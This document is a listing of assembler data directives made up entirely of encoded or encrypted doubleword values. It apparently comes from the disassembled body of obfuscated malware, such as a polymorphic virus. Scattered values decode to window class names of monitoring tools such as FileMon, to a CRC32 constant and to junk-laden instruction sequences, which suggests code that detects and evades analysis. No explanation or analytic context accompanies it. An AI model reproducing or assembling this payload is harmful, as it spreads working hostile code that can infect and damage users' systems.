		dd 421B8C0h, 85890000h,	61B2131h, 0A6B49D8Dh, 0D3FF061Dh
		dd 0BD83585Bh, 61B3129h, 50177400h, 421B853h, 85890000h
		dd 61B2131h, 0A3559D8Dh, 0D3FF061Dh, 0C08B585Bh, 0C519D8Dh
		dd 38B061Bh, 840FC00Bh,	7, 5B8B038Bh, 0B8188904h, 4B41h
		dd 2C599D8Dh, 0B8061Bh,	89000013h, 1B11ED85h, 0E806h, 5580000h
		dd 0Dh,	0E90389h, 13h, 4BFh dup(0)
		dd 0E8000000h, 0Ch, 3A555124h, 4020E2BFh, 0DBA8C64Ah, 5E9h
		dd 7016EE00h, 665A0F75h, 0C281DA8Bh, 5DD7h, 9E9h, 84999900h
		dd 26A1667Eh, 98BE3D4Bh, 81048D02h, 8D15D3F6h, 92BF6604h
		dd 5132FFFEh, 0BE8h, 0F8E7D700h, 0CD6BBAE3h, 0A906F31Ah
		dd 0C03CF781h, 595F0307h, 5820F58h, 66000000h, 65CCC381h
		dd 0C736F081h, 820F79A3h, 0Ch, 6810Fh, 800F0000h, 0
		dd 0AEB5E881h, 0B2B53ACCh, 0E6DEF081h, 8B662F60h, 5E950CEh
		dd 0F2000000h, 47A8F2B5h, 8166028Fh, 8336CCCBh,	4EF904EAh
		dd 0FF93850Fh, 8166FFFFh, 554D5CF7h, 5E75FDEDh,	0A476F67Ah
		dd 0BC56E669h, 4068FD49h, 6FCEFD23h, 780FFD23h,	0F06DFD23h
		dd 355FFD23h, 0D735FD23h, 0A612FD23h, 1EF3FD23h, 42EEFD23h
		dd 6F15FD23h, 78E2FD23h, 0F247FD23h, 35A0FD23h,	0D781FD23h
		dd 0A562FD23h, 1C2EFD23h, 4072FD23h, 259DFD23h,	2295358Ah
		dd 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah,	9775F572h
		dd 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh
		dd 5E75FD7Ah, 9676FD7Ah, 7E75A466h, 0CB75A466h,	0E475FD7Ah
		dd 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 4CF0701Ah, 0A673DCCCh
		dd 0B6C7B4FFh, 0E3F0707Ch, 6C73DCCCh, 0D3C7F4FFh, 1FF0707Ch
		dd 3573DCCCh, 7FC7B8FFh, 0E9F0707Ch, 1E73DCCFh,	0EAC7F0FFh
		dd 60F0707Ch, 7B73DCCFh, 58C7ECFFh, 9FF0707Ch, 0D773DCCEh
		dd 0EC7E8FFh, 0A2F0707Ch, 4273DCCEh, 0C4C7E4FFh, 0B9F0707Ch
		dd 0F073DCCEh, 9DC7E0FFh, 0F8F0707Ch, 0A673DCCEh, 0B6C7D4FFh
		dd 0B9F0707Ch, 6C73DCCEh, 0D3C7DCFFh, 0E8F0707Ch, 3573DCCEh
		dd 7FC7D8FFh, 89F0707Ch, 1E73DCCEh, 0EAC7D4FFh,	5F0707Ch
		dd 7B73DCCEh, 58C7C4FFh, 43F0707Ch, 0D773DCCEh,	0EC7C0FFh
		dd 0B5F0707Ch, 4273DCCFh, 0C4C7BCFFh, 99F0707Ch, 0F073DCCFh
		dd 9DC7D0FFh, 0FCF0707Ch, 0A673DCCFh, 0B6C7CCFFh, 0F6F0707Ch
		dd 6C73DCCCh, 0D3C7C8FFh, 0ECF0767Ch, 3573E67Bh, 7FC77FFFh
		dd 56F0767Ch, 1E73E674h, 0EAC77BFFh, 0B0B69C7Ch, 0F29D11F1h
		dd 2375FD7Ah, 0FE317FBh, 0D525FB5Bh, 0ADFDF53Fh, 91544FFBh
		dd 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 0B987C27h
		dd 0A073DCC9h, 0EC7F5FFh, 9FC87D7Ch, 0CF73DCC8h, 0E4C5B409h
		dd 0F9B54B75h, 863589BAh, 9DC77BEFh, 96FEBD7Ch,	2F7A452Bh
		dd 28AFD7Ah, 0CD544FFCh, 577C48F7h, 0C6F8FB5Bh,	4B9D50FCh
		dd 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 91544FFCh, 797C48F7h
		dd 0D1F8FB5Bh, 228A50FCh, 87BC1F23h, 9DC7F5F7h,	52DA07Ch
		dd 0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F4544FF8h
		dd 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h,	0B6C77FEFh
		dd 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h,	9DC77FEFh
		dd 54C54D7Ch, 0BA8AAD79h, 91544FF8h, 2BF69B20h,	277E9B7Eh
		dd 1AB6561Ch, 7975FF6Bh, 0BE4E1529h, 652FFD7Ah,	0A57B89A0h
		dd 94913D59h, 7F5DF70h,	83FE4DBAh, 9D3ED1h, 2A75FD7Bh
		dd 0BC77E192h, 844EA77Ah, 49C5120Eh, 7FA916D0h,	0CB75FCA7h
		dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h
		dd 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh,	40F76885h
		dd 1F2FFB5Bh, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h
		dd 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h
		dd 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch,	439D561Ch
		dd 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h
		dd 699D57E6h, 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh
		dd 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah
		dd 0E2CD3ED0h, 0D75FD7Ah, 58C77BEFh, 0F1C0707Ch, 5D73DCC8h
		dd 2C7F518Ah, 15E002D0h, 873DCC8h, 0E574E592h, 0F8254D7Ah
		dd 4B9D5779h, 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h
		dd 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh,	438A036Bh
		dd 0EEDFA7CAh, 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah
		dd 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah
		dd 69B65779h, 0EAC402FFh, 1AC87D7Ch, 0F373DCCBh, 0FCF8EC0Fh
		dd 0BA544F0Bh, 5C61152Ah, 1B9DFD7Ah, 2775FD78h,	759D571Ah
		dd 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 9DC402F7h, 0A1C87D7Ch
		dd 2F73DCCBh, 12F8F10Fh, 0CD544F0Bh, 0E4DE152Ah, 4AB6FD7Ah
		dd 7975FD7Eh, 0EF36885h, 0C3F8FB5Bh, 29544BB4h,	3D6DF9F0h
		dd 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h
		dd 0CB8A3E78h, 29544FF8h, 96514ACEh, 74C1FF0Eh,	4E13F2CAh
		dd 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h
		dd 68B65778h, 0EAC77FEFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h
		dd 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h
		dd 708AFD7Ah, 0F4544FFCh, 0CB1060F7h, 0A0F8FB5Bh, 4ECD3E39h
		dd 0D075FD7Ah, 0B6C77BEFh, 0CEB57E7Ch, 1A8935F1h, 0D3C77FEFh
		dd 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh
		dd 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h
		dd 475FD7Ah, 99AB17FBh,	0EAFCFB5Bh, 4ACF7D86h, 0E573DCC8h
		dd 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 7FC77BE8h,	0ADFCBD7Ch
		dd 91544FF0h, 79F835F1h, 0E3544AC8h, 40F76F85h,	7FFDFB5Bh
		dd 4801F3Ch, 5E75FD6Dh,	9DFF7F79h, 1A35FB5Bh, 0EAC25BE0h
		dd 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 0EFF7779h,	0ECF8FB5Bh
		dd 29544AEEh, 2F2B5989h, 0CB75FD72h, 57F36F85h,	0AF6FB5Bh
		dd 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh
		dd 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h
		dd 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh,	848980F3h
		dd 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh
		dd 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah
		dd 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 0EAC23890h
		dd 6BCF707Ch, 7973DCC8h, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh
		dd 0A226FD7Eh, 0B6C773E7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h
		dd 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 988B17FBh,	25F8FB5Bh
		dd 0CD544FF4h, 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h
		dd 0ECFB40F7h, 0EF46FB5Bh, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h
		dd 0F4544FF4h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh
		dd 969E0479h, 0ABB69C82h, 57FB40F7h, 0F3CDFB5Bh, 0C075FD7Ah
		dd 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 25EE78F7h, 0D08AFB5Bh
		dd 16EBCA8Bh, 656C6946h, 636E6F6Dh, 7373616Ch, 2 dup(0)
		dd 3BC0101h, 6210000h, 0AE9h, 2C925A00h, 2A23C56Fh, 9092B9B3h
		dd 28B0Fh, 0E88A0000h, 0D08B6650h, 0DE990h, 0D0EA0000h
		dd 0E1DECF1Ch, 0F91A1397h, 6A71046Ch, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 5B2256FBh, 1E08F1F3h, 0FE8283Fh, 0
		dd 9DFBC2BCh, 52EDDF97h, 9968E5CEh, 0BA6651A5h,	6A5F588Eh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 94A4BB92h, 858DC601h, 621B9A0h, 32A98D8Bh
		dd 0B552061Bh, 53505926h, 0AE9h, 0B557A200h, 21B031C5h
		dd 5BC8F97Eh, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0FA1AC357h,	601CE034h
		dd 18E19589h, 7E8061Bh,	97000000h, 5B7D6B0Ah, 81668FE4h
		dd 5E873BE9h, 0BF006A61h, 50155B4Bh, 8B60006Ah,	1B2C758Dh
		dd 95FF6106h, 61B1A01h,	1EFD958Bh, 63E9061Bh, 8B000006h
		dd 0E8FBh, 815D0000h, 21B9A5EDh, 0C9816606h, 8529715Bh
		dd 61B2501h, 0E42BA66h,	4E8h, 0FA000h, 5B9AB900h, 0E9507742h
		dd 6, 6D813BF4h, 448B1223h, 0BA600424h,	653A7424h, 8B61CA8Bh
		dd 0E8525000h, 13h, 87ABFDF1h, 59E61893h, 77283422h, 6012EF0Ch
		dd 0BFBF357Bh, 5A4EC42h, 0F310F5Ah, 28Fh, 5ACE8B00h, 24448958h
		dd 58F98B04h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	98C35747h, 0FFE3FB28h, 1B220595h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0F7B0370Bh, 57F4CDF5h, 0BA66D107h, 0B58DE95Dh, 621B86Fh
		dd 0C7B5DF80h, 67655206h, 56006A6Dh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0B6DCAF45h
		dd 8529FF60h, 61B256Dh,	0BC19D8Bh, 46C7061Bh, 636E6F04h
		dd 52006A6Ch, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0BD8E428Fh, 0CC061C79h, 2B8D958Bh, 64BA061Bh
		dd 0C72E8222h, 73610846h, 6A0073h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0C81CBBC3h, 6A3F0Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 3DC35747h
		dd 0D08BF813h, 3466BB66h, 0B86F858Dh, 880F0621h, 6, 3399D89h
		dd 8950061Bh, 0BD892404h, 61B0961h, 3C595FFh, 8166061Bh
		dd 0B9FF2DFh, 43840FC0h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0CA1AC351h
		dd 898928C6h, 1B22B58Dh, 10E906h, 235F0000h, 83D1E884h
		dd 8B2CCE7Bh, 0D392EBDBh, 0FDE90D6Dh, 0F000003h, 4E8FFB7h
		dd 2C000000h, 0B6000001h, 525050E9h, 0DE9h, 76508D00h
		dd 28D94AD5h, 4FFCA2h, 310F5BFBh, 5ADE8B66h, 24448B58h
		dd 13E804h, 0FE780000h,	0F9464AC0h, 0D1A3FC0h, 8A07EA89h
		dd 73E43F8Ah, 5AFA8A5Ah, 0E860008Bh, 0Ah, 153D0438h, 0EA26CE95h
		dd 6160958Eh, 61F18A59h, 4244489h, 50006A58h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 540D2788h
		dd 11E9h, 24F92200h, 0E6CCBD33h, 0B8759B85h, 378092A6h
		dd 95FFAA8Fh, 61B2205h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 39C35040h, 0DE7BF305h, 8D80B2F5h, 21B86FB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0FE9A5A1h, 97000000h, 0A00514C2h, 762B7CDFh
		dd 55AB7B0Eh, 6C7421Ch,	36343831h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0DCC35646h,	995610DEh, 0BD950B0Bh
		dd 0C7061B32h, 2D370446h, 6A3134h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 77A139C3h, 0A0FC0DDFh
		dd 0C7DA8B2Ch, 846h, 0D1800000h, 6A006A72h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0FA49C350h
		dd 87811541h, 0F883819h, 858DCBBFh, 621B86Fh, 35E38166h
		dd 958951E7h, 61B1C71h,	0F2B75059h, 8B240489h, 1B12F98Dh
		dd 0C595FF06h, 89061B03h, 1B1BF5B5h, 0FC00B06h,	3084h
		dd 0C1850900h, 0E9061B06h, 238h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0BC35545h, 49B3BA5Bh, 0F0AA32Fh
		dd 13086816h, 8B669C95h, 240481FEh, 636AEE24h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0ABC35545h, 0B70F66B2h
		dd 595FFD2h, 81061B22h,	5BDBEF7h, 6FB58D25h, 6A0621B8h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0EC62C357h, 91DE411h, 4606C708h, 6A656C69h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 8938C353h, 1B29E18Dh, 29B58906h, 8A061B1Fh
		dd 446C7F7h, 636E6F6Dh,	12E9h, 2B0FC00h, 0AD684932h, 0E58AD81Dh
		dd 0D4193BACh, 0C7CB2B9Fh, 616C0846h, 6A7373h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 2291E0C3h, 1CEA9C7Ch, 89BBE0E9h, 1B2FF9BDh, 0C46C706h
		dd 0
		dd 1DB19523h, 6A061Bh, 23BDBD89h, 858D061Bh, 621B86Fh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 24C35343h
		dd 862A2CBFh, 4F01AF60h, 0DAB70F3Fh, 24048950h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 9FC35646h, 0F647170Ch
		dd 0E38166D0h, 95FF7ADEh, 61B03C5h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0EEC35343h,	262ACC21h, 66D371CEh
		dd 0E8C75AB9h, 12h, 1FAC89A7h, 8D00B162h, 9669DC38h, 0F4B9FD9Fh
		dd 0BD8956E3h, 61B25E9h, 0FC00B5Bh, 4E84h, 8E800h, 7FA70000h
		dd 0BDE01BD0h, 11B96CEBh, 596E4DCAh, 57E9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 10E9A642h, 57000000h, 0F4805964h, 6FBFDD38h,	0E4E801DEh
		dd 6650EF7Ah, 0E9E8CEBFh, 0FFFFFA2Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 82C35646h, 7104B58Dh, 6A061Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 886AC9C3h, 4C995160h, 0B8E8AB70h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B6C35343h
		dd 0E6FFECB1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0FCC35747h, 0D0C6C249h,	0C18B52F8h, 0C0A68D8Dh
		dd 89F50621h, 1B24298Dh, 0BD03BA06h, 85C70E4Ch,	61B0765h
		dd 6B1Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	9AC35141h, 32B9BD33h, 85C7061Bh, 61B13D1h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 48C35747h
		dd 45B5FFB1h, 66061B1Dh, 0CF2EDE81h, 2F8595FFh,	6A061Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 114EEC3h, 0BD89A646h, 61B0C85h, 95FF006Ah, 61B2205h
		dd 78EBC08Bh, 18B7DC3Eh, 16F3AAFAh, 891E8A63h, 0C46ADDC5h
		dd 43726728h, 9E2AF47Ah, 76641EFFh, 425A55F1h, 8DA412ABh
		dd 0FBEDBE14h, 7C4AB636h, 2F93EC64h, 3764654Dh,	13836943h
		dd 14BD4BA6h, 62340C6Eh, 6027C68h, 4118C4DAh, 8E37490Bh
		dd 0A4DF258h, 0DAAD3F09h, 0C2891519h, 147C886h,	0B64227B7h
		dd 4C9B76FEh, 0FF48877Ah, 94EAE498h, 0AC4BA77Fh, 99964B61h
		dd 8D8DBFCBh, 3BE9h, 0BD8B6000h, 61B093Dh, 3304EF83h, 0BBC18BC9h
		dd 0EDB88320h, 0BE04C783h, 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh
		dd 41FFFFFFh, 0F9810789h, 100h,	0FFD3820Fh, 0C361FFFFh
		dd 0AE8C88Bh, 0A5000000h, 37E36325h, 0F0B3D3F8h, 8B5FF8FAh
		dd 1B303DB5h, 3CC78106h, 8A000074h, 51DB33E6h, 8E9h, 0D2DADC00h
		dd 6CA49333h, 148B5801h, 29D5801Fh, 0DE70EA81h,	8D8B5CD1h
		dd 61B25F9h, 55DCC281h,	6E8518Fh, 0BA000000h, 0A420E6C1h
		dd 0C281595Bh, 7ABF6C21h, 0E81F1489h, 10h, 0B933E0F1h
		dd 2CF95A12h, 0CE4EBA9Ch, 40360DC9h, 66595CB4h,	83054CB9h
		dd 8B5203EBh, 814B58C2h, 0AFDF8FE8h, 88FB8131h,	0FFFFF8Ch
		dd 2485h, 12E900h, 4650000h, 3C7ABB08h,	0C05149ADh, 0E7433527h
		dd 0C8EEFA94h, 1EE9h, 0FBB9EA00h, 545D8E22h, 2AD68121h
		dd 0E9082A15h, 0FFFFFF6Eh, 3BD3A029h, 31C26256h, 8DBED7B7h
		dd 21C3248Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 5BBD10CBh, 0A984524h, 0F9B70F96h
		dd 24298D89h, 0B6BF061Bh, 0C73F80D4h, 1B076585h, 60EC06h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 9F3F39Dh, 85C78C76h, 61B13D1h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F5C35545h
		dd 72D8F588h, 6B05611Eh, 31BDB5FFh, 6A061Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 716CF4C3h
		dd 6BE0B901h, 0BD8B0753h, 61B1349h, 2F8595FFh, 6A061Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0DB44DDC3h, 6ACBA72h, 6A2BAAh, 220595FFh, 0C08B061Bh
		dd 5EB83BEBh, 719E64C6h, 8D9EA03h, 8DDE43F6h, 884117B6h
		dd 0D66D7201h, 0AEEFF8E3h, 3E54F40Ch, 2D55C2DEh, 0C163A3D6h
		dd 113154EDh, 43186637h, 0E9CDA898h, 74081777h,	0B3323C11h
		dd 2AE941h, 4C70000h, 24h, 0E800h, 815D0000h, 21C375EDh
		dd 24448B06h, 11858904h, 0B8061B00h, 0
		dd 4CD38D8Dh, 0E1FF061Bh, 6754B8h, 0FDCAFE00h, 72A8083Bh
		dd 388A4CB0h, 0ABA80838h, 9075EAD5h, 78A80838h,	0BA8A4CB1h
		dd 0D557AE5Dh, 808A4CB1h, 0ABA80839h, 4B75EAD5h, 1BA8083Eh
		dd 0D58A4CB6h, 85A8083Eh, 4F8A4CB6h, 0ABA8083Fh, 2575EAD5h
		dd 906BD42Fh, 0C003130Bh, 52899238h, 80BB90A7h,	0D1215783h
		dd 43ABD6B4h, 9120D42Fh, 0C003130Bh, 52899200h,	806A90A7h
		dd 0D1215783h, 43ABD680h, 929FD42Fh, 0C003130Bh, 5289920Ch
		dd 830690A7h, 0D1215783h, 43ABD69Ch, 9278D42Fh,	0C003130Bh
		dd 52899218h, 829390A7h, 0D1215783h, 43ABD6E8h,	93F2D42Fh
		dd 0C003130Bh, 52899264h, 821190A7h, 0D1215783h, 43ABD6E0h
		dd 9374D42Fh, 0C003130Bh, 5289926Ch, 8D9F90A7h,	0D1215783h
		dd 43ABD6F8h, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 644E68C0h, 0A8ED96A4h, 458A152Ah, 67A02429h
		dd 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h
		dd 2D3AAE63h, 848C0E24h, 11AB5342h, 55FFEA22h, 0ABA4245Dh
		dd 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh
		dd 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch,	660351A2h
		dd 0EE27BFEAh, 0E704DB2Fh, 9475130Bh, 0D9020112h, 6439B9A0h
		dd 0EC79AEA4h, 41AE51A1h, 0F822DC09h, 0BA8C3499h, 0DF103773h
		dd 0C821732Ah, 751BFD28h, 0FD5BEA2Ch, 508C152Bh, 0E9009881h
		dd 0ABAE7011h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 644F28C0h
		dd 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah,	4FA9C430h
		dd 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 6439B9A0h
		dd 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h
		dd 0BE290BA2h, 43ABD0BEh, 0DFA02429h, 4D1957h, 54A8515Eh
		dd 0D775532Ah, 52B35037h, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h
		dd 0D9F9FA31h, 6439B9A0h, 0D79AEA4h, 2320949Ah,	328C651Ah
		dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h,	953BFDA2h
		dd 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h, 5E0E1AD5h
		dd 0EDA851A2h, 458A1523h, 862DA055h, 45869025h,	0A32851A2h
		dd 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh,	0B9CF9E4Bh
		dd 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh
		dd 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h,	458AD507h
		dd 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah, 5B7AD453h
		dd 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h,	38031957h
		dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h, 860085E1h
		dd 0F822DC08h, 0BA8C3499h, 0FEF8E173h, 0F6269FA7h, 85575783h
		dd 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah
		dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h,	54AFE9A2h
		dd 0D775152Ah, 52B35FDBh, 0C8204526h, 751BFD28h, 0F55BEA2Ch
		dd 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h,	0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah
		dd 93A42C29h, 458AE96Fh, 0FE0451A2h, 441F87D5h,	8C2357B9h
		dd 0EF491786h, 0E704DB2Fh, 9475130Bh, 0BD28E9C4h, 8600BE4Ch
		dd 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h, 902BBD29h
		dd 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h,	0D018EA80h
		dd 0DFAE4AA3h, 8558B9E2h, 0F832DC08h, 0BA8C3499h, 94103771h
		dd 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h
		dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h
		dd 0D775BF86h, 52B35037h, 7726DDA1h, 0CE25FB63h, 43ABA686h
		dd 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh
		dd 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 7732732Ah, 0D903376Bh, 6439B9B0h,	327BAEA4h
		dd 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh
		dd 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h
		dd 0FDEC152Ah, 0FFCEB824h, 0F6268FA7h, 87575783h, 320A09Ah
		dd 0CE25FB0Eh, 43ABA686h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h
		dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah
		dd 0D5F251A2h, 644270C0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h
		dd 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah
		dd 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h
		dd 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h,	0BA8660D5h
		dd 0CE2559D7h, 43ABD6B0h, 2532DCF1h, 0BA8C34EEh, 0A8EDD871h
		dd 458A42C3h, 58DDAEA2h, 0C88260D5h, 756BFB38h,	0DF07462Ch
		dd 528995D3h, 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh
		dd 863C8FA7h, 0D9FB5783h, 644E64B0h, 0DD7BAEA4h, 5863E96Fh
		dd 0ABA851A2h, 3075195Fh, 9632DCAAh, 168C34E9h,	90D9CB2Fh
		dd 9675130Bh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h
		dd 3044BAh, 9EE900h, 6E60000h, 3737CC6Bh, 18E2F998h, 3A39CE71h
		dd 0EEB009Fh, 0FFA5C867h, 6100A7D2h, 2CCB6E8Ah,	58F796D7h
		dd 2ED17483h, 439A19BCh, 1E38E9B4h, 0D81B754Dh,	2E45A03Dh
		dd 8D1BA23Dh, 3CF90671h, 2B372C45h, 0B6C540C1h,	0ED905F34h
		dd 0B756FA50h, 0C88E6C70h, 47B7FA3Eh, 48213E8Dh, 1EC134C9h
		dd 0C1F677CEh, 32Fh, 0BC86A900h, 0A13ED91Bh, 0E5822552h
		dd 0A740DF0Eh, 0E481244Ch, 0A23BE20Fh, 0E4812851h, 0A441DC0Fh
		dd 0E37C234Fh, 0AE47E610h, 0C9356824h, 59E90621h, 49FFF9B4h
		dd 0F271A19h, 21C9C4B8h, 0E8C50306h, 9,	478B3862h, 5AD43EAAh
